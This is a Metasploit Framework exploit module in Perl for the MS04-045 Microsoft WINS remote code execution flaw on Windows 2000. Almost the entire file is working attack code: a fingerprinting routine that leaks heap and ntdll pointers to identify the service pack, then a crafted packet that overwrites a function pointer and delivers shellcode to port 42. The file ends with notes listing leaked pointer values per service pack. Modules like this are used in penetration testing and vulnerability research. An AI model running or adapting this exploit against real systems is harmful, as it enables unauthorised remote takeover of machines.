Microsoft WINS Remote Code Execution Exploit (MS04-045)CAN-2004-1080
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::wins_ms04_045;
use base "Msf::Exploit";
use strict;
my $advanced =
{
'BASE' => [0, 'Specify the exact address to the structure'],
'TARG' => [0, 'Specify the exact address to overwrite'],
'WHAT' => [0, 'Specify the data used to overwrite the address'],
};
my $info =
{
'Name' => 'Microsoft WINS MSO4-045 Code Execution',
'Version' => '$Revision: 1.18 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'process' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 42],
},
'Payload' =>
{
'Space' => 8000,
'MinNops' => 512,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits a arbitrary memory write flaw in the WINS service.
}),
'Refs' =>
[
['MSB', 'MS04-045'],
],
'Targets' =>
[
['Windows 2000 English', [ 0x5391f40 ], 0x53df4c4, 0x53922e0]
],
'Keys' => ['wins'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my ($ret, $fprint, $check) = @{ $self->Fingerprint };
if ($ret < 0) {
return $check;
}
if ($ret == 0) {
$self->PrintLine("[*] This system does not appear to be vulnerable.");
return $check;
}
$self->PrintLine("[*] This system appears to be vulnerable.");
if ($fprint->{'os'} ne '?') {
my $os = $fprint->{'os'} eq '?' ? 'Unknown Windows' : 'Windows '. $fprint->{'os'};
my $sp = $fprint->{'sp'} eq '?' ? '' : 'SP '. $fprint->{'sp'};
my $vi = $fprint->{'vi'} == 1 ? '(clean heap)' : '(dirty heap)';
my $hp = length($sp) ? $vi : '';
$self->PrintLine("[*] Host $target_host is $os $sp $hp");
}
return $self->CheckCode('Safe');
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
# Sanity check the WINS service
my ($ret, $fprint, $check) = @{ $self->Fingerprint };
if ($ret <= 0) {
$self->PrintLine("[*] The target system does not appear to be vulnerable.");
return;
}
# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
# same function pointer...
if ($fprint->{'os'} ne '2000' || $fprint->{'sp'} !~ /^[0234]/ ) {
$self->PrintLine("[*] The target system is not currently supported");
return;
}
# This flag is un-set if the first leaked address is not the default of
# 0x05371e90. This can indicate that someone has already tried to exploit
# this system, or something major happened to the heap that will probably
# prevent this exploit from working.
if (! $fprint->{'vi'}) {
$self->PrintLine("[*] The leaked heap address indicates that this attack may fail.");
}
# Allow for multiple attempts to find the base address
# XXX - Brute force not implemented (or required so far)
my @rloc = @{ $target->[1] };
# Address of the function pointers to overwrite (courtesy anonymous donor)
my $targ = $target->[2];
# Address of the payload on the heap, past the structure
my $code = $target->[3];
# Advanced options can be used to overwrite
@rloc = ( hex($self->GetVar('BASE')) ) if $self->GetVar('BASE');
$targ = hex($self->GetVar('TARG')) if $self->GetVar('TARG');
$code = hex($self->GetVar('WHAT')) if $self->GetVar('WHAT');
foreach my $base (@rloc) {
my ($req, $add);
# Pointing at any aligned address into top 36 bytes will result in a
# valid structure. This gives us some breathing room if things move
# around a little bit.
$add .= pack('V', $code) x 9;
$add .= pack('V', $targ - 0x48) x 14;
# Multiple copies are used in case things slide a little bit
$req .= $add x 10;
# Bling.
$req .= $shellcode;
# Random padding :-)
$req .= Pex::Text::EnglishText(9200 - length($req));
# Tack on the header
my $pkt = pack('NNN', length($req) + 8, -1, $base). $req;
# Poink!
$self->PrintLine(sprintf("[*] Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", $targ, $code, $base));
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return(0);
}
$s->Send($pkt);
$self->Handler($s);
}
return;
}
# This fingerprinting routine will cause the structure base address to slide down
# 120 bytes. Subsequent fingerprints will not push this down any futher, however
# we need to make sure that fingerprint is always called before exploitation or
# the alignment will be way off.
sub Fingerprint {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $fprint = {};
# This results in vulnerable servers leaking back some useful
# pointers to the heap and to ntdll.dll. We can use these pointers
# to determine the service pack.
my $req =
"\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05".
"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03".
"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00";
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
);
if ($s->IsError) {
$self->PrintLine("[*] Socket error: " . $s->GetError());
return [-2, $fprint, $self->CheckCode('Connect') ];
}
$s->Send($req);
my $res = $s->Recv(-1, 5);
if (! $res) {
$self->PrintLine("[*] No response to WINS probe.");
$s->Close;
return [-1, $fprint, $self->CheckCode('Connect') ];
}
my @ptrs = ( unpack('N', substr($res, 16, 4)), unpack('VVV', substr($res, 32)) );
$self->PrintDebugLine(1, sprintf("[*] Pointers: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", @ptrs));
my ($os, $sp, $vi) = ('2000', '?', '?');
# Windows 2000 versions
$sp = '0' if $ptrs[3] == 0x77f8ae78;
$sp = '1' if $ptrs[3] == 0x77f81f70;
$sp = '2' if $ptrs[3] == 0x77f82680;
$sp = '3' if $ptrs[3] == 0x77f83608;
$sp = '4' if $ptrs[3] == 0x77f89640;
$sp = '4++' if $ptrs[3] == 0x77f82518;
# Probably not Windows 2000...
$os = '?' if $sp eq '?';
# Windows NT 4.0
if ($ptrs[0] > 0x02300000 && $ptrs[0] < 0x02400000) {
$os = 'NT';
$sp = '?';
}
# Heap is still pristine...
$vi = 1 if $ptrs[0] == 0x05371e90;
# Store the fingerprints....
$fprint->{'os'} = $os;
$fprint->{'sp'} = $sp;
$fprint->{'vi'} = $vi;
# Probe to test vulnerability
$req = "\x00\x00\x00\x0F\x00\x00\x78\x00". substr($res, 16, 4).
"\x00\x00\x00\x03\x00\x00\x00\x00";
$s->Send($req);
$res = $s->Recv(-1, 3);
$s->Close;
if (substr($res, 6, 1) eq "\x78") {
return [1, $fprint, $self->CheckCode('Appears') ];
}
return [0, $fprint, $self->CheckCode('Safe') ];
}
1;
__END__
SP0 [0x05371e90] 0x053dffa4 0x77fb80db 0x77f8ae78
SP1 [0x05371e90] 0x0580ffa4 0x77fb9045 0x77f81f70
SP2 [0x05371e90] 0x053dffa4 0x77fb9da7 0x77f82680
SP3 [0x05371e90] 0x053dffa4 0x77f82b95 0x77f83608
SP4 [0x05371e90] 0x053dffa4 0x77f98191 0x77f89640
SP4 [0x00000040] 0x053dffa4 0x77f98191 0x77f89640 (patched)
SP4 [0x0000003e] 0x053dffa4 0x77f81f55 0x77f82518 (mostly patched)
NT4
YES [0x023b1e98] 0x0014c3f0 0x00000048 0x00000000
NOT [0x023d1dc8] 0x0014de60 0x00000048 0x0000023f
YES [0x023b1ea0] 0x00000048 0x00000009 0x0000023e
2K3 [0x00000040] 0x044bf584 0x01013c25 0x000003ac